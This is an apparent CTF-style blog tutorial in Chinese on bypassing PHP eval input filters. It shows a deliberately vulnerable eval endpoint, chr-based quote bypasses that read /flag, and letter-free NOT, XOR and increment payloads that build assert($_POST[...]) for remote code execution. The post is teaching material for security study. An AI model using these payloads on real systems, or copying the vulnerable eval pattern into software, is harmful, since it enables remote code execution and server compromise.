yemaster的小窝

PHP代码执行函数绕过方法

2024-09-24
83

引号绕过方法

可以用 chr 来拼接。

例题

<?php
error_reporting(0);
if(!isset($_GET['code'])){
    show_source(__FILE__);
}else{
        $str = $_GET['code'];
        $blacklist = ['\'', '"'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

扫目录:print_r(scandir(chr(47)));,读取 /flag 文件:file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103));.

无字母数字绕过方法

即 eval 的代码中不能存在字母和数字。主要有 取反绕过、异或绕过、自增绕过。一般在 php5 中,可以构造 (assert)(eval($_POST[1])) 的方式来 RCE,如果不能用,则可以使用 (call_user_func)(system, xxx) 来 RCE。

取反绕过

即先对字符串取反,然后再取反,就回到原来的了。

<?php
echo urlencode(~"phpinfo");
?>

得到 %8F%97%8F%96%91%99%90,那么构造 (~%8F%97%8F%96%91%99%90)() 就可以 phpinfo 了。同样的,将想要的字符串取反,就可以 RCE 了。

<?php
echo urlencode(~"assert");
echo "\n";
echo urlencode(~"eval($_POST[1])");

异或绕过

在php中,两个字符进行异或操作后,得到的依然是一个字符,所以说当我们想得到a-z中某个字母时,就可以找到两个非字母数字的字符,只要他们俩的异或结果是这个字母的 ASCII 码即可。

<?php
$_ = "!((%)("^"@[[@[\\";   //构造出assert
$__ = "!+/(("^"~{`{|";   //构造出_POST
$___ = $$__;   //$___ = $_POST
$_($___[_]);   //assert($_POST[_]);

也可以用 ${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

具体和取反差不多。

自增绕过

$a="A"; 那么 $a++ 之后 $a 的值就变成了 "B"。而令 $_=''.[]$_ 的值就是 "Array",再用 $_[$__] 就可以得到字母 "A"($__默认为 False,就是 0)。

<?php
$_=[].'';   //得到"Array"
$___ = $_[$__];   //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___;   //$__="A"
$_ = $___;   //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$___ .= $__;   //$___="AS"
$___ .= $__;   //$___="ASS"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;   //得到"E",此时$__="E"
$___ .= $__;   //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;   //得到"R",此时$__="R"
$___ .= $__;   //$___="ASSER"
$__++;$__++;   //得到"T",此时$__="T"
$___ .= $__;   //$___="ASSERT"
$__ = $_;   //$__="A"
$____ = "_";   //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"P",此时$__="P"
$____ .= $__;   //$____="_P"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"O",此时$__="O"
$____ .= $__;   //$____="_PO"
$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$____ .= $__;   //$____="_POS"
$__++;   //得到"T",此时$__="T"
$____ .= $__;   //$____="_POST"
$_ = $$____;   //$_=$_POST
$___($_[_]);   //ASSERT($POST[_])

参考

分类标签:none

目录